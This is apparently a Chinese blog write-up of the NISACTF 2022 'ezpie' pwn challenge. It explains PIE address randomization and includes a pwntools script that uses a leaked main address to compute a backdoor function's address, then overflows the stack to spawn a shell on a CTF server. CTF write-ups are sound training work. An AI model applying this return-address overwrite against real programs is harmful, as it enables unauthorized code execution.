[NISACTF 2022]ezpie- 入土为安的第十五天

pwn的第3天

PIE保护ret2text栈

按照签到题的套路是找main,buf,shell,bin/sh/

但是是PIE保护

那有什么不一样的呢

PIE保护:
​ PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

​ 简单地说就是地址随机化。

这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。

运行可以看到确实有70

这是因为pie是以内存页为单位随机的

一般情况下,一页为0x1000

所以后三位才会保持不变

main_real_addr=int(io.recv()[1:11],16)

from pwn import *
 
io=remote("node5.anna.nssctf.cn",26639)
 
#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")
 
#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)
 
#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=b'a'*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)
 
io.sendline(payload)
io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值